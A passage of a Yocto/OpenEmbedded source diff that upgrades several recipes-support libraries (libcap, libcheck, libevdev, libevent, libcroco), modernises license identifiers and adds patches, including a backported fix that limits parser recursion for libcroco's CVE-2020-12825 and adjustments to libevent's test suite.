+ run_psx_test: psx_test
+- ./psx_test
+
+ psx_test: psx_test.c $(DEPS)
+ $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $< -o $@ $(LINKEXTRA) $(LIBPSXLIB)
+
+ run_libcap_psx_test: libcap_psx_test
+- ./libcap_psx_test
+
+ libcap_psx_test: libcap_psx_test.c $(DEPS)
+ $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB)
diff --git a/meta/recipes-support/libcap/libcap_2.27.bb b/meta/recipes-support/libcap/libcap_2.27.bb
deleted file mode 100644
index 3f64ff7636..0000000000
--- a/meta/recipes-support/libcap/libcap_2.27.bb
+++ /dev/null
@@ -1,75 +0,0 @@
-SUMMARY = "Library for getting/setting POSIX.1e capabilities"
-HOMEPAGE = "http://sites.google.com/site/fullycapable/"
-
-# no specific GPL version required
-LICENSE = "BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://License;md5=3f84fd6f29d453a56514cb7e4ead25f1"
-
-DEPENDS = "hostperl-runtime-native gperf-native"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/libs/security/linux-privs/${BPN}2/${BPN}-${PV}.tar.xz \
- file://0001-ensure-the-XATTR_NAME_CAPS-is-defined-when-it-is-use.patch \
- "
-SRC_URI[md5sum] = "2e8f9fab32eb5ccb37969fe317fd17aa"
-SRC_URI[sha256sum] = "dac1792d0118bee6aae6ba7fb93ff1602c6a9bda812fd63916eee1435b9c486a"
-
-UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/linux/libs/security/linux-privs/${BPN}2/"
-
-inherit lib_package
-
-# do NOT pass target cflags to host compilations
-#
-do_configure() {
- # libcap uses := for compilers, fortunately, it gives us a hint
- # on what should be replaced with ?=
- sed -e 's,:=,?=,g' -i Make.Rules
- sed -e 's,^BUILD_CFLAGS ?= $(.*CFLAGS),BUILD_CFLAGS := $(BUILD_CFLAGS),' -i Make.Rules
-}
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG_class-native ??= ""
-
-PACKAGECONFIG[pam] = "PAM_CAP=yes,PAM_CAP=no,libpam"
-
-EXTRA_OEMAKE = " \
- INDENT= \
- lib='${baselib}' \
- RAISE_SETFCAP=no \
- DYNAMIC=yes \
- BUILD_GPERF=yes \
-"
-
-EXTRA_OEMAKE_append_class-target = " SYSTEM_HEADERS=${STAGING_INCDIR}"
-
-# these are present in the libcap defaults, so include in our CFLAGS too
-CFLAGS += "-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"
-
-do_compile() {
- oe_runmake ${PACKAGECONFIG_CONFARGS}
-}
-
-do_install() {
- oe_runmake install \
- ${PACKAGECONFIG_CONFARGS} \
- DESTDIR="${D}" \
- prefix="${prefix}" \
- SBINDIR="${sbindir}"
-}
-
-do_install_append() {
- # Move the library to base_libdir
- install -d ${D}${base_libdir}
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mv ${D}${libdir}/libcap* ${D}${base_libdir}
- if [ -d ${D}${libdir}/security ]; then
- mv ${D}${libdir}/security ${D}${base_libdir}
- fi
- fi
-}
-
-FILES_${PN}-dev += "${base_libdir}/*.so"
-
-# pam files
-FILES_${PN} += "${base_libdir}/security/*.so"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap/libcap_2.63.bb b/meta/recipes-support/libcap/libcap_2.63.bb
new file mode 100644
index 0000000000..f3133f9ded
--- /dev/null
+++ b/meta/recipes-support/libcap/libcap_2.63.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Library for getting/setting POSIX.1e capabilities"
+DESCRIPTION = "A library providing the API to access POSIX capabilities. \
+These allow giving various kinds of specific privileges to individual \
+users, without giving them full root permissions."
+HOMEPAGE = "http://sites.google.com/site/fullycapable/"
+# no specific GPL version required
+LICENSE = "BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://License;md5=e2370ba375efe9e1a095c26d37e483b8"
+
+DEPENDS = "hostperl-runtime-native gperf-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/libs/security/linux-privs/${BPN}2/${BPN}-${PV}.tar.xz \
+ file://0001-ensure-the-XATTR_NAME_CAPS-is-defined-when-it-is-use.patch \
+ file://0002-tests-do-not-run-target-executables.patch \
+ "
+SRC_URI:append:class-nativesdk = " \
+ file://0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch \
+ "
+SRC_URI[sha256sum] = "0c637b8f44fc7d8627787e9cf57f15ac06c1ddccb53e41feec5496be3466f77f"
+
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/linux/libs/security/linux-privs/${BPN}2/"
+
+inherit lib_package
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+PACKAGECONFIG:class-native ??= ""
+
+PACKAGECONFIG[pam] = "PAM_CAP=yes,PAM_CAP=no,libpam"
+
+EXTRA_OEMAKE = " \
+ INDENT= \
+ lib='${baselib}' \
+ RAISE_SETFCAP=no \
+ DYNAMIC=yes \
+ USE_GPERF=yes \
+"
+
+EXTRA_OEMAKE:append:class-target = " SYSTEM_HEADERS=${STAGING_INCDIR}"
+
+do_compile() {
+ unset CFLAGS BUILD_CFLAGS
+ oe_runmake \
+ ${PACKAGECONFIG_CONFARGS} \
+ AR="${AR}" \
+ CC="${CC}" \
+ RANLIB="${RANLIB}" \
+ OBJCOPY="${OBJCOPY}" \
+ COPTS="${CFLAGS}" \
+ BUILD_COPTS="${BUILD_CFLAGS}"
+}
+
+do_install() {
+ oe_runmake install \
+ ${PACKAGECONFIG_CONFARGS} \
+ DESTDIR="${D}" \
+ prefix="${prefix}" \
+ SBINDIR="${sbindir}"
+}
+
+do_install:append() {
+ # Move the library to base_libdir
+ install -d ${D}${base_libdir}
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mv ${D}${libdir}/libcap* ${D}${base_libdir}
+ if [ -d ${D}${libdir}/security ]; then
+ mv ${D}${libdir}/security ${D}${base_libdir}
+ fi
+ fi
+}
+
+FILES:${PN}-dev += "${base_libdir}/*.so"
+
+# pam files
+FILES:${PN} += "${base_libdir}/security/*.so"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcheck/libcheck_0.12.0.bb b/meta/recipes-support/libcheck/libcheck_0.12.0.bb
deleted file mode 100644
index 25ac2c4b26..0000000000
--- a/meta/recipes-support/libcheck/libcheck_0.12.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Check - unit testing framework for C code"
-HOMEPAGE = "https://libcheck.github.io/check/"
-SECTION = "devel"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-SRC_URI = "https://github.com/${BPN}/check/releases/download/${PV}/check-${PV}.tar.gz \
- file://not-echo-compiler-info-to-check_stdint.h.patch"
-SRC_URI[md5sum] = "31b17c6075820a434119592941186f70"
-SRC_URI[sha256sum] = "464201098bee00e90f5c4bdfa94a5d3ead8d641f9025b560a27755a83b824234"
-UPSTREAM_CHECK_URI = "https://github.com/libcheck/check/releases/"
-
-S = "${WORKDIR}/check-${PV}"
-
-inherit autotools pkgconfig texinfo
-
-CACHED_CONFIGUREVARS += "ac_cv_path_AWK_PATH=${bindir}/gawk"
-
-RREPLACES_${PN} = "check (<= 0.9.5)"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "checkmk"
-
-FILES_checkmk = "${bindir}/checkmk"
-
-RDEPENDS_checkmk = "gawk"
-
diff --git a/meta/recipes-support/libcheck/libcheck_0.15.2.bb b/meta/recipes-support/libcheck/libcheck_0.15.2.bb
new file mode 100644
index 0000000000..188d689cc3
--- /dev/null
+++ b/meta/recipes-support/libcheck/libcheck_0.15.2.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Check - unit testing framework for C code"
+DESCRIPTION = "It features a simple interface for defining unit tests, \
+putting little in the way of the developer. Tests are run in a separate \
+address space, so both assertion failures and code errors that cause \
+segmentation faults or other signals can be caught. Test results are \
+reportable in the following: Subunit, TAP, XML, and a generic logging format."
+HOMEPAGE = "https://libcheck.github.io/check/"
+SECTION = "devel"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+SRC_URI = "https://github.com/${BPN}/check/releases/download/${PV}/check-${PV}.tar.gz \
+ file://not-echo-compiler-info-to-check_stdint.h.patch"
+SRC_URI[sha256sum] = "a8de4e0bacfb4d76dd1c618ded263523b53b85d92a146d8835eb1a52932fa20a"
+UPSTREAM_CHECK_URI = "https://github.com/libcheck/check/releases/"
+
+S = "${WORKDIR}/check-${PV}"
+
+inherit autotools pkgconfig texinfo
+
+CACHED_CONFIGUREVARS += "ac_cv_path_AWK_PATH=${bindir}/gawk"
+
+RREPLACES:${PN} = "check (<= 0.9.5)"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "checkmk"
+
+FILES:checkmk = "${bindir}/checkmk"
+
+RDEPENDS:checkmk = "gawk"
+
diff --git a/meta/recipes-support/libcroco/files/CVE-2020-12825.patch b/meta/recipes-support/libcroco/files/CVE-2020-12825.patch
new file mode 100644
index 0000000000..42f92e3607
--- /dev/null
+++ b/meta/recipes-support/libcroco/files/CVE-2020-12825.patch
@@ -0,0 +1,192 @@
+From fdf78a4877afa987ba646a8779b513f258e6d04c Mon Sep 17 00:00:00 2001
+From: Michael Catanzaro <mcatanzaro@gnome.org>
+Date: Fri, 31 Jul 2020 15:21:53 -0500
+Subject: [PATCH] libcroco: Limit recursion in block and any productions
+
+ (CVE-2020-12825)
+
+If we don't have any limits, we can recurse forever and overflow the
+stack.
+
+Fixes #8
+This is per https://gitlab.gnome.org/Archive/libcroco/-/issues/8
+
+https://gitlab.gnome.org/GNOME/gnome-shell/-/merge_requests/1404
+
+CVE: CVE-2020-12825
+Upstream-Status: Backport [https://gitlab.gnome.org/Archive/libcroco/-/commit/6eb257e5c731c691eb137fca94e916ca73941a5a]
+Comment: No refreshing changes done.
+Signed-off-by: Saloni Jain <Saloni.Jain@kpit.com>
+
+---
+ src/cr-parser.c | 44 +++++++++++++++++++++++++++++---------------
+ 1 file changed, 29 insertions(+), 15 deletions(-)
+
+diff --git a/src/cr-parser.c b/src/cr-parser.c
+index 18c9a01..f4a62e3 100644
+--- a/src/cr-parser.c
++++ b/src/cr-parser.c
+@@ -136,6 +136,8 @@ struct _CRParserPriv {
+
+ #define CHARS_TAB_SIZE 12
+
++#define RECURSIVE_CALLERS_LIMIT 100
++
+ /**
+ * IS_NUM:
+ *@a_char: the char to test.
+@@ -344,9 +346,11 @@ static enum CRStatus cr_parser_parse_selector_core (CRParser * a_this);
+
+ static enum CRStatus cr_parser_parse_declaration_core (CRParser * a_this);
+
+-static enum CRStatus cr_parser_parse_any_core (CRParser * a_this);
++static enum CRStatus cr_parser_parse_any_core (CRParser * a_this,
++ guint n_calls);
+
+-static enum CRStatus cr_parser_parse_block_core (CRParser * a_this);
++static enum CRStatus cr_parser_parse_block_core (CRParser * a_this,
++ guint n_calls);
+
+ static enum CRStatus cr_parser_parse_value_core (CRParser * a_this);
+
+@@ -784,7 +788,7 @@ cr_parser_parse_atrule_core (CRParser * a_this)
+ cr_parser_try_to_skip_spaces_and_comments (a_this);
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+ } while (status == CR_OK);
+
+ status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr,
+@@ -795,7 +799,7 @@ cr_parser_parse_atrule_core (CRParser * a_this)
+ cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
+ token);
+ token = NULL;
+- status = cr_parser_parse_block_core (a_this);
++ status = cr_parser_parse_block_core (a_this, 0);
+ CHECK_PARSING_STATUS (status,
+ FALSE);
+ goto done;
+@@ -930,11 +934,11 @@ cr_parser_parse_selector_core (CRParser * a_this)
+
+ RECORD_INITIAL_POS (a_this, &init_pos);
+
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+ CHECK_PARSING_STATUS (status, FALSE);
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+
+ } while (status == CR_OK);
+
+@@ -956,10 +960,12 @@ cr_parser_parse_selector_core (CRParser * a_this)
+ *in chapter 4.1 of the css2 spec.
+ *block ::= '{' S* [ any | block | ATKEYWORD S* | ';' ]* '}' S*;
+ *@param a_this the current instance of #CRParser.
++ *@param n_calls used to limit recursion depth
+ *FIXME: code this function.
+ */
+ static enum CRStatus
+-cr_parser_parse_block_core (CRParser * a_this)
++cr_parser_parse_block_core (CRParser * a_this,
++ guint n_calls)
+ {
+ CRToken *token = NULL;
+ CRInputPos init_pos;
+@@ -967,6 +973,9 @@ cr_parser_parse_block_core (CRParser * a_this)
+
+ g_return_val_if_fail (a_this && PRIVATE (a_this), CR_BAD_PARAM_ERROR);
+
++ if (n_calls > RECURSIVE_CALLERS_LIMIT)
++ return CR_ERROR;
++
+ RECORD_INITIAL_POS (a_this, &init_pos);
+
+ status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr, &token);
+@@ -996,13 +1005,13 @@ cr_parser_parse_block_core (CRParser * a_this)
+ } else if (token->type == CBO_TK) {
+ cr_tknzr_unget_token (PRIVATE (a_this)->tknzr, token);
+ token = NULL;
+- status = cr_parser_parse_block_core (a_this);
++ status = cr_parser_parse_block_core (a_this, n_calls + 1);
+ CHECK_PARSING_STATUS (status, FALSE);
+ goto parse_block_content;
+ } else {
+ cr_tknzr_unget_token (PRIVATE (a_this)->tknzr, token);
+ token = NULL;
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ CHECK_PARSING_STATUS (status, FALSE);
+ goto parse_block_content;
+ }
+@@ -1109,7 +1118,7 @@ cr_parser_parse_value_core (CRParser * a_this)
+ status = cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
+ token);
+ token = NULL;
+- status = cr_parser_parse_block_core (a_this);
++ status = cr_parser_parse_block_core (a_this, 0);
+ CHECK_PARSING_STATUS (status, FALSE);
+ ref++;
+ goto continue_parsing;
+@@ -1123,7 +1132,7 @@ cr_parser_parse_value_core (CRParser * a_this)
+ status = cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
+ token);
+ token = NULL;
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, 0);
+ if (status == CR_OK) {
+ ref++;
+ goto continue_parsing;
+@@ -1162,10 +1171,12 @@ cr_parser_parse_value_core (CRParser * a_this)
+ * | FUNCTION | DASHMATCH | '(' any* ')' | '[' any* ']' ] S*;
+ *
+ *@param a_this the current instance of #CRParser.
++ *@param n_calls used to limit recursion depth
+ *@return CR_OK upon successfull completion, an error code otherwise.
+ */
+ static enum CRStatus
+-cr_parser_parse_any_core (CRParser * a_this)
++cr_parser_parse_any_core (CRParser * a_this,
++ guint n_calls)
+ {
+ CRToken *token1 = NULL,
+ *token2 = NULL;
+@@ -1174,6 +1185,9 @@ cr_parser_parse_any_core (CRParser * a_this)
+
+ g_return_val_if_fail (a_this, CR_BAD_PARAM_ERROR);
+
++ if (n_calls > RECURSIVE_CALLERS_LIMIT)
++ return CR_ERROR;
++
+ RECORD_INITIAL_POS (a_this, &init_pos);
+
+ status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr, &token1);
+@@ -1212,7 +1226,7 @@ cr_parser_parse_any_core (CRParser * a_this)
+ *We consider parameter as being an "any*" production.
+ */
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ } while (status == CR_OK);
+
+ ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
+@@ -1237,7 +1251,7 @@ cr_parser_parse_any_core (CRParser * a_this)
+ }
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ } while (status == CR_OK);
+
+ ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
+@@ -1265,7 +1279,7 @@ cr_parser_parse_any_core (CRParser * a_this)
+ }
+
+ do {
+- status = cr_parser_parse_any_core (a_this);
++ status = cr_parser_parse_any_core (a_this, n_calls + 1);
+ } while (status == CR_OK);
+
+ ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
diff --git a/meta/recipes-support/libcroco/libcroco_0.6.13.bb b/meta/recipes-support/libcroco/libcroco_0.6.13.bb
index 9171a9de5c..419c962657 100644
--- a/meta/recipes-support/libcroco/libcroco_0.6.13.bb
+++ b/meta/recipes-support/libcroco/libcroco_0.6.13.bb
@@ -1,8 +1,11 @@
SUMMARY = "Cascading Style Sheet (CSS) parsing and manipulation toolkit"
+DESCRIPTION = "The Libcroco project is an effort to build a generic \
+Cascading Style Sheet (CSS) parsing and manipulation toolkit that can be \
+used by GNOME applications in need of CSS support."
HOMEPAGE = "http://www.gnome.org/"
BUGTRACKER = "https://bugzilla.gnome.org/"
-LICENSE = "LGPLv2 & LGPLv2.1"
+LICENSE = "LGPL-2.0-only & LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605 \
file://src/cr-rgb.c;endline=22;md5=31d5f0944d556c8589d04ea6055fcc66 \
file://tests/cr-test-utils.c;endline=21;md5=2382c27934cae1d3792fcb17a6142c4e"
@@ -18,3 +21,6 @@ inherit gnomebase gtk-doc binconfig-disabled
SRC_URI[archive.md5sum] = "c80c5a8385011a0260dce6bd0da93dce"
SRC_URI[archive.sha256sum] = "767ec234ae7aa684695b3a735548224888132e063f92db585759b422570621d4"
+
+SRC_URI +="file://CVE-2020-12825.patch \
+"
diff --git a/meta/recipes-support/libdaemon/libdaemon_0.14.bb b/meta/recipes-support/libdaemon/libdaemon_0.14.bb
index 070ee1890e..de6ac388a3 100644
--- a/meta/recipes-support/libdaemon/libdaemon_0.14.bb
+++ b/meta/recipes-support/libdaemon/libdaemon_0.14.bb
@@ -1,8 +1,12 @@
SUMMARY = "Lightweight C library which eases the writing of UNIX daemons"
+DESCRIPTION = "Lightweight daemon framework for OpenBSD. It provides \
+facilities for logging and a signal handler to enable graceful shutdown, \
+as well as file locking to ensure that only a single copy of a given daemon \
+is running at a time."
SECTION = "libs"
AUTHOR = "Lennart Poettering <lennart@poettering.net>"
HOMEPAGE = "http://0pointer.de/lennart/projects/libdaemon/"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1 \
file://libdaemon/daemon.h;beginline=9;endline=21;md5=bd9fbe57cd96d1a5848a8ba12d9a6bf4"
diff --git a/meta/recipes-support/libevdev/libevdev_1.12.0.bb b/meta/recipes-support/libevdev/libevdev_1.12.0.bb
new file mode 100644
index 0000000000..38f2bad606
--- /dev/null
+++ b/meta/recipes-support/libevdev/libevdev_1.12.0.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Wrapper library for evdev devices"
+DESCRIPTION = "A library for handling evdev kernel devices. It abstracts \
+the evdev ioctls through type-safe interfaces and provides functions \
+to change the appearance of the device."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libevdev/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=80c550b3197bcb8da7d7557ebcc3fc46 \
+ "
+
+SRC_URI = "http://www.freedesktop.org/software/libevdev/${BP}.tar.xz"
+SRC_URI[sha256sum] = "2f729e3480695791f9482e8388bd723402b89f0eaf118057bbdea3cecee9b237"
+
+inherit autotools pkgconfig
+
+UPSTREAM_CHECK_REGEX = "libevdev-(?P<pver>(\d+\.)+(?!90\d+)\d+)"
diff --git a/meta/recipes-support/libevdev/libevdev_1.8.0.bb b/meta/recipes-support/libevdev/libevdev_1.8.0.bb
deleted file mode 100644
index 84274987d7..0000000000
--- a/meta/recipes-support/libevdev/libevdev_1.8.0.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-SUMMARY = "Wrapper library for evdev devices"
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libevdev/"
-SECTION = "libs"
-
-LICENSE = "MIT-X"
-LIC_FILES_CHKSUM = "file://COPYING;md5=75aae0d38feea6fda97ca381cb9132eb \
- file://libevdev/libevdev.h;endline=21;md5=7ff4f0b5113252c2f1a828e0bbad98d1"
-
-SRC_URI = "http://www.freedesktop.org/software/libevdev/${BP}.tar.xz"
-SRC_URI[md5sum] = "879631080be18526737e33b63d848039"
-SRC_URI[sha256sum] = "20d3cae4efd277f485abdf8f2a7c46588e539998b5a08c2c4d368218379d4211"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-support/libevent/libevent/0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch b/meta/recipes-support/libevent/libevent/0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch
new file mode 100644
index 0000000000..505153d285
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch
@@ -0,0 +1,37 @@
+From 7c17967b8fd2d18b74a8934fd9bb8212ebd6a271 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 9 Jan 2020 13:22:46 +0100
+Subject: [PATCH] test/regress_dns.c: patch out tests that require a working
+ DNS
+
+This is not guaranteed for ptests under qemu, and in the absence
+of a DNS that can reach to the internet, these tests fail.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ test/regress_dns.c | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/test/regress_dns.c b/test/regress_dns.c
+index d2084b7..a1a8f3b 100644
+--- a/test/regress_dns.c
++++ b/test/regress_dns.c
+@@ -2394,8 +2394,6 @@ struct testcase_t dns_testcases[] = {
+ { "reissue_disable_when_inactive", dns_reissue_disable_when_inactive_test,
+ TT_FORK|TT_NEED_BASE|TT_NO_LOGS, &basic_setup, NULL },
+ { "inflight", dns_inflight_test, TT_FORK|TT_NEED_BASE, &basic_setup, NULL },
+- { "bufferevent_connect_hostname", test_bufferevent_connect_hostname,
+- TT_FORK|TT_NEED_BASE, &basic_setup, NULL },
+ #ifdef EVENT__HAVE_SETRLIMIT
+ { "bufferevent_connect_hostname_emfile", test_bufferevent_connect_hostname,
+ TT_FORK|TT_NEED_BASE, &basic_setup, (char*)"emfile" },
+@@ -2405,8 +2403,6 @@ struct testcase_t dns_testcases[] = {
+ { "disable_when_inactive_no_ns", dns_disable_when_inactive_no_ns_test,
+ TT_FORK|TT_NEED_BASE|TT_NO_LOGS, &basic_setup, NULL },
+
+- { "initialize_nameservers", dns_initialize_nameservers_test,
+- TT_FORK|TT_NEED_BASE, &basic_setup, NULL },
+ #ifndef _WIN32
+ { "nameservers_no_default", dns_nameservers_no_default_test,
+ TT_FORK|TT_NEED_BASE, &basic_setup, NULL },
diff --git a/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch b/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch
new file mode 100644
index 0000000000..0b20eda3c0
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch
@@ -0,0 +1,33 @@
+From dff8fd27edb23bc1486809186c6a4fe1f75f2179 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Thu, 22 Apr 2021 22:35:59 -0400
+Subject: [PATCH] test/regress.h: Increase default timeval tolerance 50 ms ->
+ 100 ms
+
+The default timeout tolerance is 50 ms,
+which causes intermittent failure in many the
+related tests in arm64 QEMU.
+
+See: https://bugzilla.yoctoproject.org/show_bug.cgi?id=14163
+(The root cause seems to be a heavy load)
+
+Upstream-Status: Submitted [https://github.com/libevent/libevent/pull/1157]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+---
+ test/regress.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/regress.h b/test/regress.h
+index f06a7669..829af4a7 100644
+--- a/test/regress.h
++++ b/test/regress.h
+@@ -127,7 +127,7 @@ int test_ai_eq_(const struct evutil_addrinfo *ai, const char *sockaddr_port,
+ tt_int_op(labs(timeval_msec_diff((tv1), (tv2)) - diff), <=, tolerance)
+
+ #define test_timeval_diff_eq(tv1, tv2, diff) \
+- test_timeval_diff_leq((tv1), (tv2), (diff), 50)
++ test_timeval_diff_leq((tv1), (tv2), (diff), 100)
+
+ long timeval_msec_diff(const struct timeval *start, const struct timeval *end);
+
diff --git a/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch b/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch
new file mode 100644
index 0000000000..ddc19c495f
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch
@@ -0,0 +1,28 @@
+From d01a57a998798da977c470f3b8d6a457c1adb144 Mon Sep 17 00:00:00 2001
+From: Azat Khuzhin <azat@libevent.org>
+Date: Sun, 19 Sep 2021 00:57:31 +0300
+Subject: [PATCH] test: mark util/monotonic_prc_fallback as retriable
+
+Refs: #1193
+
+Upstream-Status: Backport
+---
+ test/regress_util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/regress_util.c b/test/regress_util.c
+index 45caa2700a40..a9e80db20149 100644
+--- a/test/regress_util.c
++++ b/test/regress_util.c
+@@ -1672,7 +1672,7 @@ struct testcase_t util_testcases[] = {
+ { "monotonic_res_fallback", test_evutil_monotonic_res, TT_OFF_BY_DEFAULT, &basic_setup, (void*)"fallback" },
+ { "monotonic_prc", test_evutil_monotonic_prc, 0, &basic_setup, (void*)"" },
+ { "monotonic_prc_precise", test_evutil_monotonic_prc, TT_RETRIABLE, &basic_setup, (void*)"precise" },
+- { "monotonic_prc_fallback", test_evutil_monotonic_prc, 0, &basic_setup, (void*)"fallback" },
++ { "monotonic_prc_fallback", test_evutil_monotonic_prc, TT_RETRIABLE, &basic_setup, (void*)"fallback" },
+ { "date_rfc1123", test_evutil_date_rfc1123, 0, NULL, NULL },
+ { "evutil_v4addr_is_local", test_evutil_v4addr_is_local, 0, NULL, NULL },
+ { "evutil_v6addr_is_local", test_evutil_v6addr_is_local, 0, NULL, NULL },
+--
+2.31.1
+
diff --git a/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch b/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch
new file mode 100644
index 0000000000..ea17e876ea
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch
@@ -0,0 +1,81 @@
+From 36ebd92fa53c0097f1e2f9ec5aa5b5c6ec1b411d Mon Sep 17 00:00:00 2001
+From: Thomas Perrot <thomas.perrot@bootlin.com>
+Date: Wed, 29 Sep 2021 13:50:35 +0200
+Subject: [PATCH] test: retriable tests are marked failed only when all
+ attempts have failed
+
+Fixes: #1193
+
+Upstream-Status: Accepted
+
+Signed-off-by: Thomas Perrot <thomas.perrot@bootlin.com>
+---
+ test/tinytest.c | 13 ++++++-------
+ test/tinytest.h | 2 +-
+ 2 files changed, 7 insertions(+), 8 deletions(-)
+
+diff --git a/test/tinytest.c b/test/tinytest.c
+index 85dfe74a720e..bf2882418eb6 100644
+--- a/test/tinytest.c
++++ b/test/tinytest.c
+@@ -310,7 +310,8 @@ testcase_run_forked_(const struct testgroup_t *group,
+
+ int
+ testcase_run_one(const struct testgroup_t *group,
+- const struct testcase_t *testcase)
++ const struct testcase_t *testcase,
++ const int test_attempts)
+ {
+ enum outcome outcome;
+
+@@ -348,7 +349,7 @@ testcase_run_one(const struct testgroup_t *group,
+ if (opt_verbosity>0 && !opt_forked)
+ puts("SKIPPED");
+ } else {
+- if (!opt_forked)
++ if (!opt_forked && (testcase->flags & TT_RETRIABLE) && !test_attempts)
+ printf("\n [%s FAILED]\n", testcase->name);
+ }
+
+@@ -525,22 +526,20 @@ tinytest_main(int c, const char **v, struct testgroup_t *groups)
+ struct testgroup_t *group = &groups[i];
+ for (j = 0; group->cases[j].name; ++j) {
+ struct testcase_t *testcase = &group->cases[j];
+- int test_attempts = 3;
++ int test_attempts = (testcase->flags & TT_RETRIABLE) ? 3: 1;
+ int test_ret_err;
+
+ if (!(testcase->flags & TT_ENABLED_))
+ continue;
+
+ for (;;) {
+- test_ret_err = testcase_run_one(group, testcase);
++ test_ret_err = testcase_run_one(group, testcase, test_attempts);
+
+ if (test_ret_err == OK)
+ break;
+- if (!(testcase->flags & TT_RETRIABLE))
++ if (!--test_attempts)
+ break;
+ printf("\n [RETRYING %s (%i)]\n", testcase->name, test_attempts);
+- if (!test_attempts--)
+- break;
+ }
+
+ switch (test_ret_err) {
+diff --git a/test/tinytest.h b/test/tinytest.h
+index d321dd467542..c276b5339331 100644
+--- a/test/tinytest.h
++++ b/test/tinytest.h
+@@ -92,7 +92,7 @@ char *tinytest_format_hex_(const void *, unsigned long);
+ tinytest_set_flag_(groups, named, 1, TT_SKIP)
+
+ /** Run a single testcase in a single group. */
